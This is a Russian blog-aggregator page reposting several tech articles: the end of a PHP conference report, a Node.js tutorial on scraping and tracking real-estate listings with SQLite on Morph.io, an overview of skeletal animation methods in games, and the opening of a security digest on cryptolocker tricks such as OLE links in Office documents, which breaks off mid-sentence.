альфа-версии и для установки доступно совсем немного утилит. На данный момент это phpab, phpcpd, phpdox, phploc, phpunit, phpbu. Также возможна загрузка утилит по ссылке или с Github (указав пользователя и имя проекта). Видно. что приложение еще не достигло стабильной версии, но его уже можно пробовать использовать, возможно, сначала для небольших проектов. Идея утилиты довольно интересная, и кто знает, может, через некоторое время мы все будем ею пользоваться. Презентация. Docker в производстве (Роберт Лемке) Вы, скорее всего, уже слышали о Docker, возможно, использовали его в качестве среды разработки для запуска вашего проекта на локальном компьютере. Но дальнейшее использование Docker на боевых серверах — совсем другое дело. В своем докладе Роберт озвучил основные моменты, на которые стоит обратить внимание при использовании Docker в производстве. А учесть нужно довольно много вещей — мониторинг, развертывание, дебаг, безопасность, бекапы, хранение данных.То есть вопросы, реализация которых может сильно отличаться при развертывании на одном сервере для разработки, и при развертывании в облаке на боевом окружении. Также Роберт помог получить более глубокое понимание работы с Docker на практике. Начав с базовых концептов, мы рассмотрели практические сценарии для хостинга, автоматического развертывания и мониторинга приложения в производстве. Кроме того, были даны рекомендации по использованию различных инструментов и сервисов. Docker — довольно интересная технология, и не смотря на то, что она упоминается буквально на каждом шагу, все еще сравнительно редко используется в боевых окружениях. Прослушав этот доклад, желание использовать его в производстве подкрепилось знаниями и полезными советами по выбору необходимых инструментов и сервисов, без которых пришлось бы изобретать велосипеды. Презентация. Прокачай свою команду (Стефан Коопмансхап) Как технический руководитель проекта, руководитель команды или ментор, в любой момент вы можете столкнуться с тем, что ваша команда остановилась в своем развитии. Причин тому множество: членам вашей команды может не хватать времени, мотивации, средств, желания. Между тем, каждому лиду нужно, чтобы ребята в команде работали эффективно, были способны быстро переключиться на другой проект и оставались вовлеченными в профессиональное комьюнити. Для этого тимлид должен держать руку на пульсе и стремиться не только к высоким показателям по проекту, но и к профессиональному росту каждого члена команды. Как этого добиться, рассказал Стефан Коопмансхап. Стефан перечислил все известные инструменты развития команды и привел примеры из личного опыта, как сделать так, чтобы разработчики сами подталкивали себя выкладываться по полной. Конечно, в докладе было много очевидных моментов, но Стефану удалось структурировать все многообразие инструментов работы с командой и создать полноценную “инструкцию”. Стефан помог взглянуть на обязанности лида с другой стороны и предложил решение действительно серьезной проблемы. Кроме этого, его доклад сам по себе мотивировал к развитию и повышению уровня знаний, заставил задуматься о том, сколько времени и сил стоит тратить на развитие человека в команде и проектной команды в целом. Презентация. Современное приложение с Angular 2 — аккуратное, простое и понятное (Анас Раза Фирдоуси) Современный темп развития веб-технологий требует гибкого и стабильного фреймворка с поддержкой на длительное время. Анас Раза Фирдоуси (Anas Raza Firdous) из PayPal уверен, что именно Angular 2 способен беспрерывно эволюционировать и сможет выдержать испытание временем. Свой доклад Анас посвятил преимуществам Angular 2 и продемонстрировал, как думать и проектировать приложения с точки зрения Angular 2, TypeScript и реактивного программирования с RxJS. Анас говорил о том, что Angular 2 сочетает в себе простоту в использования Angular 1, но при этом исправляет многие подводные камни и сложности первой версии, рассказал об изменениях в Angular 2 и их причинах. На практическом примере Анас продемонстрировал особенности и некоторые возможности фреймворка, которых достаточно для начала разработки. Также докладчик посоветовал, как изучить Angular 2 более детально. Презентация. Переводим свой проект на PHP 7 (Джон Когсхолл) С самого релиза PHP 7 комьюнити разработчиков обсуждает преимущества и недостатки последней версии, а также особенности миграции на PHP 7. Джон Когсхолл предложил свой опыт миграции проекта, рассказал о проблемах, с которыми ему пришлось столкнуться, и способах их решения. Джон уделил внимание как особенностям новой версии языка, так и нюансам миграции проекта на PHP 7: что нужно знать о PHP 7 для перехода, что изменилось в новой версии, каких проблем можно ожидать при миграции и как их быстро и безболезненно решить. Конечно, каждый разработчик может самостоятельно почитать о различиях между версиями и предположить, что и как может сломаться. Однако Джон не ограничился теорией и подкрепил доклад примерами из собственного опыта. Благодаря этому доклад получился ярким и живым. Презентация. Заключение International PHP Conference — это один из ключевых ивентов для PHP-разработчика. Как сказано на сайте конференции, ее основная цель — поделиться практическими ноу-хау в PHP и веб-разработке. Благодаря этой поездке мы не только получили огромное количество новой полезной информации, которая пригодится в работе, но и смогли лично пообщаться с экспертами веб-разработки мирового уровня и получить от них ответы на свои вопросы. Приятным бонусом стали доклады на «околодевелоперские» темы, которые помогли увидеть важные нюансы в работе.
Видео-конференц-связь TrueConf. Обзор и сравнение со Skype for Business

Метки:  

Web scraping обновляющихся данных при помощи Node.js и PaaS

Вторник, 05 Июля 2016 г. 21:16 + в цитатник
Это уже четвёртая статья в цикле про веб-скрейпинг при помощи Node.js: Web scraping при помощи Node.js Web scraping на Node.js и проблемные сайты Web scraping на Node.js и защита от ботов Web scraping обновляющихся данных при помощи Node.js В прошлых статьях были рассмотрены получение и парсинг страниц, рекурсивный проход по ссылкам, организация и тонкая настройка очереди запросов, анализ Ajax-сайтов, обработка некоторых серверных ошибок, инициализация сессий и методы преодоления защиты от ботов. В этой статье разбираются такие темы, как веб-скрейпинг регулярно обновляющихся данных, отслеживание изменений и использование облачных платформ для запуска скриптов и сохранения данных. Ещё внимание уделяется разделению задач веб-скрейпинга и обработки готовых данных, а также тому, чего стоит избегать при работе с обновляющимися сайтами. Цель статьи – показать весь процесс создания, развёртывания и использования скрипта от постановки задачи и до получения конечного результата. Как обычно, для примера используется реальная задача, какие часто встречаются на биржах фриланса. Постановка задачи Допустим заказчик хочет отслеживать данные о недвижимости на сайте Buzzbuzzhome. Его интересует только город Балтимор. По каждому предложению недвижимости заказчик хочет видеть ссылку на страницу предложения, название объекта и информацию о цене (или то, что на сайте написано вместо цены). Заказчику нужна возможность периодически обновлять информацию. Фактически, ему нужна возможность в любой момент получить Excel-совместимый файл, в котором будут только актуальные предложения, и в котором среди всех предложений будут помечены новые (которых не было в прошлом запрошенном файле) и изменившиеся с прошлого раза. Заказчик уверен, что меняться будет только информаци о цене. Заказчик хочет разместить скрипт в сети и работать с ним через веб-интерфейс. Он согласен завести где-нибудь бесплатный аккаунт, самостоятельно запускать скрипт в облаке (нажимать кнопку в браузере) и качать CSV. Конфиденциальность данных его не волнует, так что можно использовать публичные аккаунты. Анализ сайта На сайте Buzzbuzzhome можно получить интересующую нас информацию двумя способами: вбить 'Baltimore' в поле поиска на главной странице (будет всплывающая подсказка 'Baltimore, Maryland, United States'), или найти Балтимор в каталоге (пункт 'Cities' в главном меню, выбрать 'Maryland' из списка штатов, потом выбрать 'Baltimore' из списка городов). В первом случае мы получим карту с маркерами и списком, подгружаемым через Ajax, а во втором – скучный список ссылок. То, что на сайте есть простой олдскульный каталог – это большая удача. Если бы его не было, нам пришлось бы преодолевать ряд трудностей, и я говорю не про анализ Ajax-трафика, а про сами данные. Дело в том, что в списке рядом с картой кроме предложений для Балтимора есть много мусора, который просто попал на карту. Это потому, что поиск выполняется не по адресу, а по географическим координатам. Кроме того стоит учесть, что в поисковую выдачу по координатам часто не попадают объекты, адрес которых указан не точно или не полностью (даже если именно этот сайт так не делает, нельзя гарантировать, что он не сделает так в будущем). Если мусор можно просто отфильтровать по адресу, то насчёт недостающих объектов однозначного решения не существует и пришлось бы уточнять у заказчика, как поступить. К счастью, в каталоге на нашем сайте есть отдельная страница, куда попадают все объекты, в адресе которых указан Балтимор. Страницы отдельных объектов легко парсятся (по крайней мере название и информация о цене). Получение данных Если не задумываться об обновлениях данных, то задача предельно простая. Даже проще чем была в первой статье, так как тут нет рекурсивного прохода по ссылкам. Получаем список ссылок на предложения недвижимости, ставим в очередь, парсим каждую страницу предложения и получаем массив результатов. Например, вот так: var needle = require('needle'); var cheerio = require('cheerio'); var tress = require('tress'); var resolve = require('url').resolve; var startURL = 'https://www.buzzbuzzhome.com/city/united-states/maryland/baltimore'; var results = []; var q = tress(work); q.drain = done; start(); function start(){ needle.get(startURL, function(err, res){ if (err) throw err; var $ = cheerio.load(res.body); $('.city-dev-name>a').each(function(){ q.push(resolve(startURL, $(this).attr('href'))); }); }); } function work(url, cb){ needle.get(url, function(err, res){ if (err) throw err; var $ = cheerio.load(res.body); results.push([ url, $('h1').text().trim(), $('.price-info').eq(0).text().replace(/\s+/g, ' ').trim() ]); cb(); }); } function done(){ // тут что-то делаем с массивом результатов results // например, выводит в консоль на этапе тестирования console.log(results); } Таким образом можно убедиться, что мы в состоянии получить правильные данные. Для этого даже не обязательно знать, что мы с ними будем делать дальше. Важно, что в нашем случае данных мало, а значит их можно обрабатывать все в один приём, а не каждую строчку по отдельности. Сохранение данных Пожалуй можно опустить детальный разбор вариантов хостинга, таких как VPN, PaaS (типа Heroku) или виртуальных хостингов с поддержкой Node.js. Об этом и так уже много и хорошо написано. Можно сразу начать с того, что для скрейперов существуют специализированные PaaS-решения, которые позволяют существенно сократить трудозатраты. Речь не про “универсальные скрейперы”, требующие только тонкой настройки парсинга, такие как screen-scraper, а про полноценные платформы для запуска собственных скриптов. До недавнего времени лидером в этой нише был ScraperWiki, но сейчас этот сервис переведён в режим только для чтения и постепенно превращается во что-то иное. Новым лидером в этой нише я бы назвал сервис Morph.io. Он удобный, бесплатный и очень простой в развёртывании. Пользователей Morph.io просят укладываться в 512 мегабайт памяти и в 24 часа работы скрипта, но если кому-то этого не хватит – можно попробовать договориться в индивидуальном порядке. Плюсов у этого сервиса много: готовый веб-интерфейс, заточенный под скрейпинг, удобный API, автоматический ежедневный запуск, веб-хуки, оповещения и так далее. Главный минус Morph.io – отсутствие приватных аккаунтов. Можно хранить всякие пароли, например, в секретных переменных окружения, но сам скрипт и полученные данные видны всем. (На хабре уже была статья про Morph.io, только в контексте Ruby) На Morph.io данные хранятся в SQLite, так что нам не придётся ломать голову над выбором типа хранилища. Если создать базу данных data.sqlite в текущем каталоге, то она будет доступна для скачивания со страницы скрейпера. Также таблица с именем data будет отображаться (первые 10 строк) на странице скрейпера и будет доступна для скачивания в виде CSV. Если пока пренебречь отслеживанием изменений, то сохранение данных можно реализовать вот так: var sqlite3 = require('sqlite3').verbose(); // ...тот же код, что и в примере выше function done(){ var db = new sqlite3.Database('data.sqlite'); db.serialize(function(){ db.run('DROP TABLE IF EXISTS data'); db.run('CREATE TABLE data (url TEXT, name TEXT, price TEXT)'); var stmt = db.prepare('INSERT INTO data VALUES (?, ?, ?)'); for (var i = 0; i < results.length; i++) { stmt.run(results[i]); }; stmt.finalize(); db.close(); }); } Можно, конечно, использовать какой-нибудь ORM, но это уже кому как нравится. Развёртывание в облаке На сайте Morph.io используется авторизация через GitHub, а сами скрейперы делаются на базе git-репозиториев оттуда. То есть можно завести заказчику аккаунт на GitHub, залить туда правильные файлы, а дальше он сам сможет создать на Morph.io скрейпер, запускать его и сохранять данные. В репозиторий достаточно залить три файла: scraper.js, package.json и README.md. Текст из README.md будет отображаться на главной странице скрейпера (всё как на GitHub). В package.json достаточно указать зависимости. Если дефолтная версия Node.js не устраивает – можно тут же указать одну из версий, поддерживаемых на Heroku. При первом запуске скрейпера сервис сам поймёт по расширению главного файла, что скрейпер написан на Node.js, сам настроит всю среду и сам установит модули зависимостей. Если сервер Morph.io перегружен – скрипт будет поставлен в очередь, но обычно это ненадолго. Отслеживание изменяющихся данных Задачи по отслеживанию изменяющихся данных, с точки зрения скрейпера, делятся на простые и сложные. Простые задачи – это когда данные в источнике меняются заметно медленнее, чем производится их скрейпинг. Даже если приходится оптимизировать и распараллеливать запросы – это всё ещё простая задача. Также в простых задачах скрейпинг очередной версии изменяющихся данных реально произвести за один запуск скрипта. Пусть это получается не каждый раз, но главное, что “докачку” реализовывать не нужно. Простые задачи предполагают, что коллизий нет или они не особо волнуют заказчика. В простой задаче можно при помощи веб-скрейпинга получить очередную версию данных, а потом уже спокойно делать с ней всё, что необходимо. Сложные задачи – это когда надо отказаться от скрейпинга и выбрать другое инженерное решение. Наша задача – простая. Даже в один поток данные можно получить за минуту-другую. Обновления данных нужны не чаще нескольких раз в день (стоит уточнить у заказчика, но обычно так). Можно просто сохранять старую и новую версию, например, в двух разных таблицах и мержить их. Заведём ещё одну таблицу (назовём её new). Пусть она создаётся, заполняется результатами скрейпинга, мержится и удаляется. В таблице data добавим столбец state, в которое будем писать, например 'new' если запись новая и 'upd' если запись старая, но изменилась с прошлой версии. Конкретные обозначения не важны, лишь бы они хорошо читались в итоговом CSV. Перед мержингом весь столбец сбрасывается в NULL. Мержинг таблиц выполняется в три SQL запроса. Добавление новых записейINSERT INTO data SELECT url, name, price, "new" AS state FROM new WHERE url IN ( SELECT url FROM new EXCEPT SELECT url FROM data ); Удаление устаревших записей:DELETE FROM data WHERE url IN ( SELECT url FROM data EXCEPT SELECT url FROM new ) Обновление изменившихся записей:UPDATE data SET state = "upd", price = ( SELECT price FROM new WHERE new.url = data.url ) WHERE url IN ( SELECT old.url FROM data AS old, new WHERE old.url = new.url AND old.price <> new.price ) У тех, кто выбрал Node.js, “чтобы не учить второй язык”, может возникнуть желание обойтись минимумом SQL и основную логику реализовать на Javascript. В основном это вопрос холиварный, но есть один момент, который стоит учесть: стабильность скрипта на маломощном хостинге заметно выше, если для работы с данными использовать язык, который для этого специально предназначен. Запросы не самые сложные, а заказчику будет приятно, если скрипт падает пореже. Соответствующий фрагмент скрипта выглядит так: var sqlite3 = require('sqlite3').verbose(); // ...тот же код, что и в первом примере function done(){ var db = new sqlite3.Database('data.sqlite'); db.serialize(function(){ db.run('DROP TABLE IF EXISTS new'); db.run('CREATE TABLE new (url TEXT, name TEXT, price TEXT)'); var stmt = db.prepare('INSERT INTO new VALUES (?, ?, ?)'); for (var i = 0; i < results.length; i++) { stmt.run(results[i]); }; stmt.finalize(); db.run('CREATE TABLE IF NOT EXISTS data (url TEXT, name TEXT, price TEXT, state TEXT)'); db.run('UPDATE data set state = NULL'); db.run('INSERT INTO data SELECT url, name, price, "new" AS state FROM new ' + 'WHERE url IN (SELECT url FROM new EXCEPT SELECT url FROM data)'); db.run('DELETE FROM data WHERE url IN (SELECT url FROM data EXCEPT SELECT url FROM new)'); db.run('UPDATE data SET state = "upd", price = (SELECT price FROM new WHERE new.url = data.url) ' + 'WHERE url IN (SELECT old.url FROM data AS old, new WHERE old.url = new.url AND old.price <> new.price)'); db.run('DROP TABLE new'); db.close(); }); } Такой скрипт можно выкладывать на Github, подгружать на Morph.io и запускать. Ради читаемости стоит вынести текст запросов в отдельные строковые переменные, но заказчику читаемость не важна. Важное примечаниеCкрипт, описанный в данной статье, хорош только для небольших объёмов данных. На текущий момент в Балтиморе всего около 25 предложений по недвижимости (на Buzzbuzzhome) и скрейпинг укладывается в пару минут. То есть, если скрипт упадёт из-за ошибки на сервере – его просто можно перезапустить, благо в базе ничего не меняется до завершения скрейпинга. В то же время для Нью-Йорка на том же сайте предложений около тысячи, так что скрейпинг занимает 40-50 минут, а сервер у Buzzbuzzhome очень хилый. Решая такую задачу нам пришлось бы добавлять обработку ошибок сервера (банально, возвращаем сбойную задачу в очередь и ставим скрейпинг на небольшую паузу, см. вторую статью), чтобы скрипт не падал и заказчику не приходилось перезапускать его каждый час. Чего не стоит делать – так это сохранять в базе частичные результаты скрейпинга между перезапусками. В реальной жизни это может привести к тому, что часть “обновлённых” данных окажется сильно устаревшей. Далее, если бы задача была отслеживать весь каталог Buzzbuzzhome, имело бы смысл скрейпить и обновлять данные для каждого города по отдельности. Пришлось бы хранить в отдельной таблице (или как-то ещё) данные о том, какой город как давно обновлялся. Это слишком большая задача для Buzzbuzzhome (как минимум мы не уложимся в лимиты) так что пришлось бы разворачивать скрипт в более мощном облаке (и самим писать к нему веб-интерфейс). Затраты времени на скрейпинг всего каталога измерялись бы сутками, и данные устаревали бы быстрее, чем скрейпились. Это не устроило бы ни одного реального заказчика, так что пришлось бы очень сильно распараллеливать работу. Как именно – это уже зависит от конкретных требований, но точно пришлось бы. Заключение Напоследок стоит подчеркнуть, что задача скрейпинга регулярно обновляющихся данных хоть и предполагает сохранение данных между запусками, но вовсе не предполагает обязательного развёртывания в облаке. Можно тот же скрипт отдать заказчику вместе с инструкцией по установке и запуску из терминала его операционной системы, и всё будет нормально работать. Только придётся ещё объяснять как получить CSV из SQLite, так что лучше добавить автоматический экспорт актуальной версии данных. Однако в таком случае у нас вообще не будет причин для использования БД вместо, например, JSON-файла. Реальная потребность в базах данных появляется только при скрейпинге гигантских объёмов данных, которые просто не умещаются в памяти, и сохранять их в обычных файлах крайне неудобно. Но это уже тема для отдельной статьи.

Метки:  

[Из песочницы] Скелетная анимация в играх. Обзор техник и ресурсов

Воскресенье, 26 Июня 2016 г. 11:05 + в цитатник
Anima — это душа, отличающая живое от мертвого. Аристотелевская душа — это принцип движения, проявляющегося в четырёх видах: перемещение, превращение, убывание и возрастание. Спустя почти две с половиной тысячи лет мы используем те же категории в компьютерной графике. Скелетная анимация определяет перемещение, морфинг служит для превращений, а убывание и возрастание это обычное масштабирование. Анимированная графика оживляет образ, вдыхает в картинку душу, и это, на мой взгляд, даже важнее, чем достоверная игра света и тени. Создание качественных скелетных 3D анимаций сегодня, пожалуй, самая труднодоступная для инди разработчиков задача. Вероятно поэтому так мало инди игр в 3D, и так много проектов в стилях пиксель арта или примитивизма, а также бродилок без персонажей в кадре. Но теперь это соотношение может измениться… Попробуйте сосчитать количество разнообразных анимаций в Uncharted 4. По моим оценкам там около часа уникальных движений, не считая лицевой анимации (850 выражений по словам авторов). Подобные игры задают фантастическую планку качества. Примеры анимации Uncharted 4 (>40мб GIF) Если физический рендеринг и создание качественно освещенных статичных сцен становятся доступны энтузиастам благодаря мощным бесплатным игровым движкам и инструментам 3D моделирования, то создание хорошей анимации требует оборудования для захвата движений и длительной кропотливой работы по их внедрению. Одна из самых доступных систем это костюм neuronmocap стоимостью порядка $1.5к без учета доставки. Мне не удалось отыскать примеров создания хотя-бы близкой по уровню анимации при помощи ручного кадрового подхода или какой-либо процедурной анимации. Максимум что возможно сделать вручную, на мой взгляд, — это простые удары, быстрые движения и стилизованная мультяшная анимация. Но как сделать реалистичную ходьбу по лестнице, где очень много деталей, связанных с переносном центра тяжести и балансом тела? Невозможно их все воспроизвести вручную. Может быть я ошибаюсь, и кто-нибудь покажет работы специалистов такого уровня?.. Все это я вспоминаю для того, чтобы оценить по достоинству щедрый подарок от Mixamo. Он буквально открывает дверь на новый уровень для независимых разработчиков: компания Adobe купила Mixamo, и теперь 2.5 тысячи скелетных анимаций для персонажей они отдают совершенно бесплатно "for unlimited commercial or non commercial use": www.mixamo.com Еще пол года назад можно было их получить только выложив порядка $36 000 (ну или спиратив в сети). Помимо анимаций компания также предлагает бесплатную версию инструмента для ригинга и скининга персонажей, инструмент для создания множественных уровней детализации с минимальными потерями качества (LOD), генератор персонажей и плагин для захвата лицевой анимации. Существуют и не менее проработанные наборы анимаций, доступные для приобретения энтузиастами. Но такой гигантский и качественный набор впервые оказался доступен совершенно бесплатно. Еще одним неплохим источником клипов остается база анимаций Университета Карнеги — Меллон и ее адаптированная под Unity версия, однако качество и содержание этой базы не так хороши. Кроме ручной кадровой анимации и захвата движения актера, существуют и интересные процедурные методы симуляции движений: эволюционное моделирование, нейронные сети, task based locomotion. Что интересно, на конференции SIGGRAPH 2016 этим непростым техникам уделяют много внимания. Но широким кругам независимых разработчиков эти вещи пока не доступны, и мне самому хотелось бы больше узнать о возможности их реального применения. Однако сегодня есть и доступные инструменты, симулирующие мускульную динамику (Euphoria Engine и Puppet Master для Unity3d), которые позволяют привнести разнообразные реакции персонажей на обстоятельства. Получить качественные и разнообразные анимационные клипы это только первая часть задачи. Вторая часть заключается в том, чтобы корректно использовать полученные анимации при управлении персонажем. Для этого сначала нужно решить, как вообще сдвигать персонажа в сцене: на основании данных самой анимации (1), либо на основании каких-то иных соображений (например физики твердого тела) (2). То есть, либо анимация будет вычисляться исходя из произвольного (физического) движения объекта в пространстве (2), либо само смещение в пространстве будет исходить из записанной анимации, игнорируя иные вмешательства (1). У обоих подходов есть достоинства и недостатки. В прежние времена, до массового использования захвата движений, вопрос об этом почти не стоял — персонажи двигались процедурно, на основании каких-то простых принципов, а анимационные клипы просто проигрывались для некоторого соответствия этому движению. Но чем лучше становилась анимация и графика в целом, тем заметнее становилось несоответствие движения ног и смещения персонажа, а также неестветсвенность динамики движения. Одним из ярких примеров может быть игра Guild Wars 2 где анимация движений и графика уже достаточно хороши, но вот большой диапазон возможных скоростей и направлений движения персонажа не обеспечен столь же большим набором анимаций, и персонажи либо буксуют на месте, либо проскальзывают вперед как по льду. Та же проблема долгое время преследует и игры на движке Gamebryo (серия TES: Morrowind, Skyrim), да и многие другие. Настоящее движение человека нелинейно — сначала мы наклоняемся вперед, затем выбрасываем ногу, и только потом начинаем движение, быстро ускоряясь после соприкосновения стопы с землей, и двигаемся по инерции до следующего шага. Подобрать функцию, точно описывающую подобное движение, сложно, и редко кто вообще об этом задумывается. Что уж говорить о более сложных движениях — стрейфе, переходах между направлениями, торможением и поворотами. Поэтому для достижения реализма нам в любом случае потребуется гигантский набор разнообразных клипов с движениями в различных направлениях, с различной скоростью, и т.п… Кроме того, анимационные клипы редко можно использовать изолированно, воспроизводя один за другим. Чаще всего в игре присутствует множество анимаций, между которыми не заготовлено специальных анимированных переходов. Поэтому для их симуляции применяется плавное смешивание через линейную интерполяцию поворотов костей. Для удобной настройки таких переходов используется т.н. конечный автомат или машина состояний (State machine). В UE и Unity для этого есть специальные инструменты: Persona и Mecanim. Каждый узел там это некоторое состояние скелетной модели (заготовленный анимационный клип или результат их смешения — Blend Tree). Когда выполнены некоторые заданные условия, осуществляется плавный переход из одного состояния в другое, во время которого оба оказывают пропорциональное времени влияние на повороты костей и смещение объекта. Таким образом достигается иллюзия непрерывности движения. Состояние может быть не одиночным клипом, а смешанным по тому же принципу набором клипов (Blend Tree / Blend Space). Например из клипов движений персонажа в стороны можно выбрать несколько, смешав их пропорционально вектору желаемого движения, и получить движение под любым произвольным углом. Однако существуют такие анимации, для которых смешивание оборачивается некорректными позами. Например когда одна анимация двигает ноги персонажа вперед, а другая вбок, линейное смешивание может привести к пересечению ног друг с другом. Чтобы этого избежать нужно тщательно подбирать анимационные клипы, синхронизировать их фазу, длину и скорость, либо добавлять отдельный клип специально для данного вида движений. Все это сложная и кропотливая работа. И чем больше возможных состояний и переходов между ними, тем сложнее привести их в согласие друг с другом, и проследить за тем, чтобы все нужные переходы срабатывали когда это требуется. 1) Самым очевидным решением является захват движений реального актера при помощи Motion Capture и привязка смещения персонажа в игре к смещению «корневой кости» в самой анимации — принцип Root Motion. Тогда персонаж будет двигаться ровно так, как двигался актер во время записи. Выглядит очень реалистично. Более того, это единственный способ достоверно воспроизвести сложные маневры вроде выпадов, уворотов и паррирования атак холодным оружием. Но этот подход несет в себе и очевидные проблемы. Допустим, персонаж хочет подвинуться к краю обрыва: актер на записи наклоняется, поднимает ногу и делает смелый широкий шаг по сцене. А персонаж шагает прямо в пропасть… Чтобы этого избежать, нужно прервать шаг где-то посередине, но это не только выглядит неестественно, но и затрудняет игроку выбор нужного момента из-за нелинейности движения, в котором может быть долгая подготовка (наклон), а затем резкое уверенное движение (шаг). Можно записать несколько вариантов движений. Допустим: осторожные маленькие шаги, нормальные, и бег. А затем смешать их по параметру требуемой скорости, который можно увеличивать линейно и предсказуемо. Но что если нам нужны движения в стороны? Значит для каждого варианта ширины шага нам нужны еще три-четыре варианта (за вычетом зеркальных). А еще персонаж должен уметь поворачивать во время движения. Значит для каждого варианта нам нужны движения с поворотом. А если поворот может быть быстрым и медленным? Значит еще раз умножаем число необходимых клипов на два. А теперь нам нужно движение по наклонной поверхности! А потом нам захочется, чтобы персонаж умел делать тоже самое вприсяди. Итого — просто сотни и тысячи вариантов анимации которые нужно смешивать и следить за тем, чтобы это происходило корректно и приводило к движениям с нужной скоростью. И все равно, во многих случаях управление будет ощущаться как «ватное», поскольку инерция актера и наша невозможность предусмотреть все возможные человеческие маневры будет лишать игрока контроля над персонажем. Эту проблему, к слову, прочувствовали на себе игроки в The Witcher 3, поэтому в одном из крупных обновлений разработчики внедрили альтернативный вариант управления, где анимация быстрее отзывается на управление в ущерб реализму. В шутерах же проблема нелинейности движения обретает особенно выраженный характер: игроку часто приходится выглядывать из-за угла и быстро уходить обратно, и момент резкой смены направления может очень отличаться — игроку требуется как можно скорее вернуться обратно за укрытие, а у нас нет возможности предсказать заранее, какой ширины шаг он планировал и проиграть соответствующую анимацию. Игроку, в свою очередь, будет трудно привыкнуть к ширине шага, которую делает его персонаж, и к скорости этого шага, чтобы прервать его вовремя. Во-вторых, Root Motion плохо годится для сетевых игр. Нелинейность движения не только затрудняет игроку предсказание скорости, но и лишает нас возможности интерполировать и экстраполировать движение чтобы компенсировать сетевую задержку, что является очень важным и сложным аспектом в быстрых сетевых играх. Если смещение персонажа задается только анимацией, то трудно аналитически подобрать нужные параметры машины состояний (смешивающей разные анимации), которые приведут к движению персонажа в точно нужном нам направлении и с точно нужной нам скоростью (выбранных для компенсации расхождения). Если же сделать наоборот, так, что анимация будет ориентироваться на фактическое движение, то при коррекции расхождения между сервером и клиентом легко можно будет подобрать наиболее подходящую анимацию, и даже если она будет чуточку несоответствовать фактическому смещению, этого почти никто не заметит. Поэтому техника Root Motion используется часто в одиночных играх от третьего лица, где управление осуществляется контекстуально — в зависимости от наличия укрытия, препятствия, режима движения или других обстоятельств, и редко применяется в сетевом режиме и MMOG. Из последних заметных проектов, использующих Root Motion, можно выделить The Witcher 3. Трудно переоценить усилия, вложенные в производство всех его движений. Пример анимации The Witcher 3 и ее съемки 2) Другое решение обратно принципу Root Motion — нужно приводить анимацию в наиболее точное соответствие с произошедшим или планируемым движением. Тогда многие описанные выше проблемы решаются — движение персонажа можно сделать равноускоренным и предсказуемым с возможностью сколь угодно быстрой смены направления. Но как привести нелинейную и инерционную анимацию в соответствие с таким движением? Интересный комплексный подход описали разработчики игры Paragon. Суть его заключается в том, чтобы находить и проигрывать только нужную серию кадров анимации для достижения требуемого смещения/поворота, пропуская лишние. И использовать инверсную кинематику для модификации ширины шага. Первая очевидная трудность при приведении анимации в соответствие с движением, в том, что движение уже произошло, а анимация еще не проиграна. Поэтому очень пригодится система предсказания движения, вычисляющая положение персонажа для следующего кадра. Затем, зная смещение, которое должен осуществить персонаж за следующий кадр, нужно пропустить столько кадров анимационного клипа движения, сколько будет нужно чтобы достичь требуемого смещения, и проиграть тот кадр, на котором требуемое смещение достигнуто. В таком случае анимация станет воспроизводиться с измененной скоростью, так, чтобы точно соответствовать фактическому смещению, и эта скорость может быть быстрее или медленнее оригинальной, поскольку невозможно заставить реального актера поддерживать постоянное ускорение или скорость. Данный подход позволит сгладить анимацию и привести в соответствие с любой сложной процедурной моделью движения, меняющейся во время игры (персонаж может выпить какое-нибудь ускоряющее зелье или оказаться замедлен противником). Недостатком, разумеется, является то, что анимация может стать менее реалистичной из-за сильных изменений в скорости. Однако на практике это дает очень хорошее окно доступных вариаций в котором нарушения скорости незаметны. А вкупе с поправками ширины шага при помощи инверсной кинематики, покрывает еще больший диапазон. Но, к сожалению, этот метод довольно сильно нарушает привычный подход к анимированию, и поэтому я не смог найти простого способа реализовать его, например, с использованием стандартного анимационного компонента Unity. В Unreal Engine также пока нет необходимого функционала, однако разработчики обещают когда-нибудь перенести низкоуровневые наработки, сделанные для Paragon, в общедоступную версию движка. Основной сложностью является поиск и воспроизведение нужного кадра на основании данных о фактическом смещении и повороте. Для этого авторы предлагают делать пре-процессинг анимационных клипов и генерировать для каждого из них дополнительный блок данных: Distance Curve, в котором будут покадрово сохранены значения смещения и поворота корневой кости относительно начала или конца анимации. Затем, в ходе выборки, можно производить быстрый бинарный поиск нужного кадра, где достигнуты соответствующие параметры смещения и поворота, и воспроизводить его. Пока же можно ограничиться прежним подходом, и делать менее точную подгонку скорости анимации к скорости планируемого движения, ориентируясь только на скорость персонажа за последний кадр. Самое главное — неплохой набор душ для экспериментов теперь имеется!

Метки:  

Security Week 25: уязвимости в Windows, libarchive и Wordpress, новые старые трюки криптолокеров

Воскресенье, 26 Июня 2016 г. 09:15 + в цитатник
Поговорим о тренировке. Вместе с криптолокерами в наш уютный ландшафт угроз пришли казалось бы давно забытые трюки: от «албанского вируса» (набор для самостоятельной зашифровки данных) до макросов в офисных документах. По меркам тех угроз, про которые действительно интересно читать, это прошлый век и детский сад, но вот проблема — работают ведь. В случае макросов от пользователей требуется сделать пару лишних кликов, в процессе выводятся предупреждения (опасно!), но нет, все кликается, загружается и приводит к реальным убыткам и потере данных, хорошо если только на одном компьютере. По нашим данным, число криптоатак на пользователей за последние два года выросло в пять раз — и этот тот случай, когда количество рано или поздно переходит в качество. Подавляющее большинство криптолокеров, а особенно такие трояны начального уровня, по-прежнему без проблем блокируются стандартным защитным софтом. Увы, это не исключает заражение полностью — и дело не в том, что стопроцентной защиты не бывает. Недавно я ссылался на пример, когда к неплохо защищенной инфраструктуре подключается внешний фрилансер с ноутбуком без антивируса и устраивает локальный армагеддон. Недавно к арсеналу древних трюков добавился еще один. Вместо макросов в офисные документы внедряют ссылки на внешние объекты с помощью технологии OLE (новость, исследование Microsoft). В документе этот хитрый маневр выглядит примерно как на картинке. В одном из случаев использовалась довольно топорная социнженерия: «Нажмите, чтобы разблокировать этот контент и доказать, что вы не робот». В Ворде такая конструкция выглядит чрезвычайно подозрительно, но ведь работает. И что с этим делать? Все выпуски дайджеста доступны по тегу. В случае с обычными пользователями понятно что делать — антивирус надо ставить. В случае компаний все сложнее, выше я уже привел пример, почему не всегда получается заблокировать все и везде. Сотрудников надо обучать. Желательно, чтобы тренинги по тому, что мы называем security awareness, отличались от росписи в журнале за инструктаж на случай пожара. Обучение должно быть регулярным, цели его должны быть понятны всем — именно поэтому мои коллеги, отвечающие за тренинги, говорят, что надо обязательно включать в программу не только обычных сотрудников, но и начальство, вплоть до топ-менеджеров. С точки зрения технаря это решение возможно выглядит немного странным, ну а куда деваться? Одним из качественных изменений в индустрии ИБ является именно расширение понятия безопасности за пределы борьбы хорошего кода 